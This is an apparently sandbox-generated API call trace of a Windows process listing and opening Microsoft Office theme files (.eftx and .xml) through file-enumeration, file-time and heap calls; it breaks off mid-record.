ftLastAccessTime.dwLowDateTime=0xe5a99dc0, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x760ca200, ftLastWriteTime.dwHighDateTime=0x1cbded9, nFileSizeHigh=0x0, nFileSizeLow=0x4caa1, dwReserved0=0x940000, dwReserved1=0x0, cFileName="Elemental.eftx", cAlternateFileName="")) returned 1 [0072.304] FindNextFileW (in: hFindFile=0x2e9140, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd252a00, ftCreationTime.dwHighDateTime=0x1cbded9, ftLastAccessTime.dwLowDateTime=0xe5abff20, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xd252a00, ftLastWriteTime.dwHighDateTime=0x1cbded9, nFileSizeHigh=0x0, nFileSizeLow=0x6023, dwReserved0=0x940000, dwReserved1=0x0, cFileName="Equity.eftx", cAlternateFileName="")) returned 1 [0072.304] FindNextFileW (in: hFindFile=0x2e9140, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x49f12100, ftCreationTime.dwHighDateTime=0x1cbded9, ftLastAccessTime.dwLowDateTime=0xe5abff20, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x49f12100, ftLastWriteTime.dwHighDateTime=0x1cbded9, nFileSizeHigh=0x0, nFileSizeLow=0x3fde, dwReserved0=0x940000, dwReserved1=0x0, cFileName="Essential.eftx", cAlternateFileName="")) returned 1 [0072.304] FindNextFileW (in: hFindFile=0x2e9140, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x79a02900, ftCreationTime.dwHighDateTime=0x1cbded9, ftLastAccessTime.dwLowDateTime=0xe5abff20, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x79a02900, ftLastWriteTime.dwHighDateTime=0x1cbded9, nFileSizeHigh=0x0, nFileSizeLow=0x52a4, dwReserved0=0x940000, dwReserved1=0x0, cFileName="Executive.eftx", cAlternateFileName="")) returned 1 [0072.304] FindNextFileW (in: hFindFile=0x2e9140, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x144c3800, ftCreationTime.dwHighDateTime=0x1cbded9, ftLastAccessTime.dwLowDateTime=0xe5ae6080, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x144c3800, ftLastWriteTime.dwHighDateTime=0x1cbded9, nFileSizeHigh=0x0, nFileSizeLow=0x6818, dwReserved0=0x940000, dwReserved1=0x0, cFileName="Flow.eftx", cAlternateFileName="")) returned 1 [0072.304] FindNextFileW (in: hFindFile=0x2e9140, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x10b8b100, ftCreationTime.dwHighDateTime=0x1cbded9, ftLastAccessTime.dwLowDateTime=0xe5b0c1e0, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x10b8b100, ftLastWriteTime.dwHighDateTime=0x1cbded9, nFileSizeHigh=0x0, nFileSizeLow=0x4732, dwReserved0=0x940000, dwReserved1=0x0, cFileName="Foundry.eftx", cAlternateFileName="")) returned 1 [0072.304] FindNextFileW (in: hFindFile=0x2e9140, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4d84a800, ftCreationTime.dwHighDateTime=0x1cbded9, ftLastAccessTime.dwLowDateTime=0xe5b0c1e0, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x4d84a800, ftLastWriteTime.dwHighDateTime=0x1cbded9, nFileSizeHigh=0x0, nFileSizeLow=0x48cf, dwReserved0=0x940000, dwReserved1=0x0, cFileName="Grid.eftx", cAlternateFileName="")) returned 1 [0072.304] FindNextFileW (in: hFindFile=0x2e9140, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x51182f00, ftCreationTime.dwHighDateTime=0x1cbded9, ftLastAccessTime.dwLowDateTime=0xe5b32340, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x51182f00, ftLastWriteTime.dwHighDateTime=0x1cbded9, nFileSizeHigh=0x0, nFileSizeLow=0x559e1, dwReserved0=0x940000, dwReserved1=0x0, cFileName="Hardcover.eftx", cAlternateFileName="")) returned 1 [0072.304] FindNextFileW (in: hFindFile=0x2e9140, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7d33b000, ftCreationTime.dwHighDateTime=0x1cbded9, ftLastAccessTime.dwLowDateTime=0xe5b32340, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x7d33b000, ftLastWriteTime.dwHighDateTime=0x1cbded9, nFileSizeHigh=0x0, nFileSizeLow=0x33892, dwReserved0=0x940000, dwReserved1=0x0, cFileName="Horizon.eftx", cAlternateFileName="")) returned 1 [0072.304] FindNextFileW (in: hFindFile=0x2e9140, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x17dfbf00, ftCreationTime.dwHighDateTime=0x1cbded9, ftLastAccessTime.dwLowDateTime=0xe5b584a0, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x17dfbf00, ftLastWriteTime.dwHighDateTime=0x1cbded9, nFileSizeHigh=0x0, nFileSizeLow=0x9a7a, dwReserved0=0x940000, dwReserved1=0x0, cFileName="Median.eftx", cAlternateFileName="")) returned 1 [0072.304] FindNextFileW (in: hFindFile=0x2e9140, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1b734600, ftCreationTime.dwHighDateTime=0x1cbded9, ftLastAccessTime.dwLowDateTime=0xe5b584a0, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x1b734600, ftLastWriteTime.dwHighDateTime=0x1cbded9, nFileSizeHigh=0x0, nFileSizeLow=0x5e35, dwReserved0=0x940000, dwReserved1=0x0, cFileName="Metro.eftx", cAlternateFileName="")) returned 1 [0072.304] FindNextFileW (in: hFindFile=0x2e9140, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1dd5a000, ftCreationTime.dwHighDateTime=0x1cbded9, ftLastAccessTime.dwLowDateTime=0xe5b7e600, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x1dd5a000, ftLastWriteTime.dwHighDateTime=0x1cbded9, nFileSizeHigh=0x0, nFileSizeLow=0xa95d, dwReserved0=0x940000, dwReserved1=0x0, cFileName="Module.eftx", cAlternateFileName="")) returned 1 [0072.304] FindNextFileW (in: hFindFile=0x2e9140, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x80c73700, ftCreationTime.dwHighDateTime=0x1cbded9, ftLastAccessTime.dwLowDateTime=0xe5b7e600, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x80c73700, ftLastWriteTime.dwHighDateTime=0x1cbded9, nFileSizeHigh=0x0, nFileSizeLow=0x8e301, dwReserved0=0x940000, dwReserved1=0x0, cFileName="Newsprint.eftx", cAlternateFileName="")) returned 1 [0072.304] FindNextFileW (in: hFindFile=0x2e9140, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x21692700, ftCreationTime.dwHighDateTime=0x1cbded9, ftLastAccessTime.dwLowDateTime=0xe5ba4760, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x21692700, ftLastWriteTime.dwHighDateTime=0x1cbded9, nFileSizeHigh=0x0, nFileSizeLow=0x8059, dwReserved0=0x940000, dwReserved1=0x0, cFileName="Opulent.eftx", cAlternateFileName="")) returned 1 [0072.304] FindNextFileW (in: hFindFile=0x2e9140, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x24fcae00, ftCreationTime.dwHighDateTime=0x1cbded9, ftLastAccessTime.dwLowDateTime=0xe5bca8c0, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x24fcae00, ftLastWriteTime.dwHighDateTime=0x1cbded9, nFileSizeHigh=0x0, nFileSizeLow=0xa8b9, dwReserved0=0x940000, dwReserved1=0x0, cFileName="Oriel.eftx", cAlternateFileName="")) returned 1 [0072.304] FindNextFileW (in: hFindFile=0x2e9140, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x28903500, ftCreationTime.dwHighDateTime=0x1cbded9, ftLastAccessTime.dwLowDateTime=0xe5bca8c0, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x28903500, ftLastWriteTime.dwHighDateTime=0x1cbded9, nFileSizeHigh=0x0, nFileSizeLow=0x9fed, dwReserved0=0x940000, dwReserved1=0x0, cFileName="Origin.eftx", cAlternateFileName="")) returned 1 [0072.304] FindNextFileW (in: hFindFile=0x2e9140, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2c23bc00, ftCreationTime.dwHighDateTime=0x1cbded9, ftLastAccessTime.dwLowDateTime=0xe5bf0a20, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x2c23bc00, ftLastWriteTime.dwHighDateTime=0x1cbded9, nFileSizeHigh=0x0, nFileSizeLow=0x37d8a, dwReserved0=0x940000, dwReserved1=0x0, cFileName="Paper.eftx", cAlternateFileName="")) returned 1 [0072.304] FindNextFileW (in: hFindFile=0x2e9140, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x537a8900, ftCreationTime.dwHighDateTime=0x1cbded9, ftLastAccessTime.dwLowDateTime=0xe5c16b80, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x537a8900, ftLastWriteTime.dwHighDateTime=0x1cbded9, nFileSizeHigh=0x0, nFileSizeLow=0x53af, dwReserved0=0x940000, dwReserved1=0x0, cFileName="Perspective.eftx", cAlternateFileName="")) returned 1 [0072.304] FindNextFileW (in: hFindFile=0x2e9140, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x583f3d00, ftCreationTime.dwHighDateTime=0x1cbded9, ftLastAccessTime.dwLowDateTime=0xe5c3cce0, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x583f3d00, ftLastWriteTime.dwHighDateTime=0x1cbded9, nFileSizeHigh=0x0, nFileSizeLow=0xbef29, dwReserved0=0x940000, dwReserved1=0x0, cFileName="Pushpin.eftx", cAlternateFileName="")) returned 1 [0072.304] FindNextFileW (in: hFindFile=0x2e9140, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x845abe00, ftCreationTime.dwHighDateTime=0x1cbded9, ftLastAccessTime.dwLowDateTime=0xe5c62e40, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x845abe00, ftLastWriteTime.dwHighDateTime=0x1cbded9, nFileSizeHigh=0x0, nFileSizeLow=0x6c8d, dwReserved0=0x940000, dwReserved1=0x0, cFileName="Slipstream.eftx", cAlternateFileName="")) returned 1 [0072.304] FindNextFileW (in: hFindFile=0x2e9140, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2e861600, ftCreationTime.dwHighDateTime=0x1cbded9, ftLastAccessTime.dwLowDateTime=0xe5c62e40, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x2e861600, ftLastWriteTime.dwHighDateTime=0x1cbded9, nFileSizeHigh=0x0, nFileSizeLow=0x6c85, dwReserved0=0x940000, dwReserved1=0x0, cFileName="Solstice.eftx", cAlternateFileName="")) returned 1 [0072.304] FindNextFileW (in: hFindFile=0x2e9140, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x32199d00, ftCreationTime.dwHighDateTime=0x1cbded9, ftLastAccessTime.dwLowDateTime=0xe5c62e40, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x32199d00, ftLastWriteTime.dwHighDateTime=0x1cbded9, nFileSizeHigh=0x0, nFileSizeLow=0x5c8c, dwReserved0=0x940000, dwReserved1=0x0, cFileName="Technic.eftx", cAlternateFileName="")) returned 1 [0072.304] FindNextFileW (in: hFindFile=0x2e9140, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5bd2c400, ftCreationTime.dwHighDateTime=0x1cbded9, ftLastAccessTime.dwLowDateTime=0xe5c88fa0, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x5bd2c400, ftLastWriteTime.dwHighDateTime=0x1cbded9, nFileSizeHigh=0x0, nFileSizeLow=0xa14f, dwReserved0=0x940000, dwReserved1=0x0, cFileName="Thatch.eftx", cAlternateFileName="")) returned 1 [0072.304] FindNextFileW (in: hFindFile=0x2e9140, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x35ad2400, ftCreationTime.dwHighDateTime=0x1cbded9, ftLastAccessTime.dwLowDateTime=0xe5c88fa0, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x35ad2400, ftLastWriteTime.dwHighDateTime=0x1cbded9, nFileSizeHigh=0x0, nFileSizeLow=0x1fb84, dwReserved0=0x940000, dwReserved1=0x0, cFileName="Trek.eftx", cAlternateFileName="")) returned 1 [0072.304] FindNextFileW (in: hFindFile=0x2e9140, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3940ab00, ftCreationTime.dwHighDateTime=0x1cbded9, ftLastAccessTime.dwLowDateTime=0xe5caf100, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x3940ab00, ftLastWriteTime.dwHighDateTime=0x1cbded9, nFileSizeHigh=0x0, nFileSizeLow=0x4c9b, dwReserved0=0x940000, dwReserved1=0x0, cFileName="Urban.eftx", cAlternateFileName="")) returned 1 [0072.304] FindNextFileW (in: hFindFile=0x2e9140, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3cd43200, ftCreationTime.dwHighDateTime=0x1cbded9, ftLastAccessTime.dwLowDateTime=0xe5caf100, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x3cd43200, ftLastWriteTime.dwHighDateTime=0x1cbded9, nFileSizeHigh=0x0, nFileSizeLow=0x79f8, dwReserved0=0x940000, dwReserved1=0x0, cFileName="Verve.eftx", cAlternateFileName="")) returned 1 [0072.304] FindNextFileW (in: hFindFile=0x2e9140, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5f664b00, ftCreationTime.dwHighDateTime=0x1cbded9, ftLastAccessTime.dwLowDateTime=0xe5caf100, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x5f664b00, ftLastWriteTime.dwHighDateTime=0x1cbded9, nFileSizeHigh=0x0, nFileSizeLow=0x1b778, dwReserved0=0x940000, dwReserved1=0x0, cFileName="Waveform.eftx", cAlternateFileName="")) returned 1 [0072.304] FindNextFileW (in: hFindFile=0x2e9140, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5f664b00, ftCreationTime.dwHighDateTime=0x1cbded9, ftLastAccessTime.dwLowDateTime=0xe5caf100, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x5f664b00, ftLastWriteTime.dwHighDateTime=0x1cbded9, nFileSizeHigh=0x0, nFileSizeLow=0x1b778, dwReserved0=0x940000, dwReserved1=0x0, cFileName="Waveform.eftx", cAlternateFileName="")) returned 0 [0072.304] GetLastError () returned 0x12 [0072.305] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xa773a0) returned 1 [0072.305] FindClose (in: hFindFile=0x2e9140 | out: hFindFile=0x2e9140) returned 1 [0072.305] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xa77298) returned 1 [0072.306] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xa77190) returned 1 [0072.306] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119f20c | out: lpFindFileData=0x119f20c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x528a9ed0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6187c750, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6187c750, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Theme Fonts", cAlternateFileName="")) returned 1 [0072.306] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme fonts"), fInfoLevelId=0x0, lpFileInformation=0x119f108 | out: lpFileInformation=0x119f108*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x528a9ed0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6187c750, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6187c750, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0072.306] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme fonts"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x170 [0072.306] SetFileTime (hFile=0x170, lpCreationTime=0x0, lpLastAccessTime=0x119f14c, lpLastWriteTime=0x119f14c) returned 0 [0072.306] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x4000) returned 0xa80478 [0072.306] DeviceIoControl (in: hDevice=0x170, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0xa80478, nOutBufferSize=0x4000, lpBytesReturned=0x119f1a4, lpOverlapped=0x0 | out: lpOutBuffer=0xa80478, lpBytesReturned=0x119f1a4, lpOverlapped=0x0) returned 0 [0072.306] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xa80478) returned 1 [0072.306] NtClose (Handle=0x170) returned 0x0 [0072.306] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xa77190) returned 1 [0072.306] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xa256b8 [0072.306] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xa750a0 [0072.306] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0xa77190 [0072.307] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xa256b8) returned 1 [0072.307] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0xa77298 [0072.307] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts\\*", fInfoLevelId=0x1, lpFindFileData=0x119ef54, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x119ef54) returned 0x2e9140 [0072.358] FindNextFileW (in: hFindFile=0x2e9140, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x528a9ed0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6187c750, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6187c750, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0072.406] FindNextFileW (in: hFindFile=0x2e9140, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xccc5300, ftCreationTime.dwHighDateTime=0x1cac1e1, ftLastAccessTime.dwLowDateTime=0x61830490, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xccc5300, ftLastWriteTime.dwHighDateTime=0x1cac1e1, nFileSizeHigh=0x0, nFileSizeLow=0xe19, dwReserved0=0x0, dwReserved1=0x0, cFileName="Adjacency.xml", cAlternateFileName="")) returned 1 [0072.406] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xa256b8 [0072.407] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xa256b8) returned 1 [0072.407] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xa256b8 [0072.407] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xa256b8) returned 1 [0072.407] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xa256b8 [0072.407] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0xa773a0 [0072.407] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xa750a0) returned 1 [0072.407] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0xa5e708 [0072.407] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0xa7c738 [0072.407] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xa256b8) returned 1 [0072.407] FindNextFileW (in: hFindFile=0x2e9140, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xdfd8000, ftCreationTime.dwHighDateTime=0x1cac1e1, ftLastAccessTime.dwLowDateTime=0x528a9ed0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xdfd8000, ftLastWriteTime.dwHighDateTime=0x1cac1e1, nFileSizeHigh=0x0, nFileSizeLow=0xe2a, dwReserved0=0x0, dwReserved1=0x0, cFileName="Angles.xml", cAlternateFileName="")) returned 1 [0072.407] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xa256b8 [0072.407] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xa256b8) returned 1 [0072.407] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xa256b8 [0072.407] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xa256b8) returned 1 [0072.407] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xa256b8 [0072.407] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0xa5e728 [0072.407] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0xa7c840 [0072.408] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xa256b8) returned 1 [0072.408] FindNextFileW (in: hFindFile=0x2e9140, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xeb6b6700, ftCreationTime.dwHighDateTime=0x1cac1e0, ftLastAccessTime.dwLowDateTime=0x61830490, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xeb6b6700, ftLastWriteTime.dwHighDateTime=0x1cac1e0, nFileSizeHigh=0x0, nFileSizeLow=0xeee, dwReserved0=0x0, dwReserved1=0x0, cFileName="Apex.xml", cAlternateFileName="")) returned 1 [0072.408] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xa256b8 [0072.408] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xa256b8) returned 1 [0072.408] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xa256b8 [0072.408] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xa256b8) returned 1 [0072.408] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xa256b8 [0072.408] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0xa5e748 [0072.408] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0xa7c948 [0072.408] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xa256b8) returned 1 [0072.408] FindNextFileW (in: hFindFile=0x2e9140, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe09100, ftCreationTime.dwHighDateTime=0x1cac1e1, ftLastAccessTime.dwLowDateTime=0x528a9ed0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xe09100, ftLastWriteTime.dwHighDateTime=0x1cac1e1, nFileSizeHigh=0x0, nFileSizeLow=0xe1f, dwReserved0=0x0, dwReserved1=0x0, cFileName="Apothecary.xml", cAlternateFileName="")) returned 1 [0072.408] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xa256b8 [0072.408] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xa256b8) returned 1 [0072.408] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xa256b8 [0072.408] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xa256b8) returned 1 [0072.408] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xa256b8 [0072.408] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0xa5e768 [0072.408] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0xa7ca50 [0072.408] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xa256b8) returned 1 [0072.408] FindNextFileW (in: hFindFile=0x2e9140, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xedcdc100, ftCreationTime.dwHighDateTime=0x1cac1e0, ftLastAccessTime.dwLowDateTime=0x61830490, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xedcdc100, ftLastWriteTime.dwHighDateTime=0x1cac1e0, nFileSizeHigh=0x0, nFileSizeLow=0xe0b, dwReserved0=0x0, dwReserved1=0x0, cFileName="Aspect.xml", cAlternateFileName="")) returned 1 [0072.408] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xa256b8 [0072.409] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xa256b8) returned 1 [0072.409] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xa256b8 [0072.409] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xa256b8) returned 1 [0072.409] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xa256b8 [0072.409] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0xa5e788 [0072.409] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0xa7cb58 [0072.409] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xa256b8) returned 1 [0072.409] FindNextFileW (in: hFindFile=0x2e9140, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x211be00, ftCreationTime.dwHighDateTime=0x1cac1e1, ftLastAccessTime.dwLowDateTime=0x528a9ed0, ftLastAccessTime.dwHighDateTime=0x1d301bf, 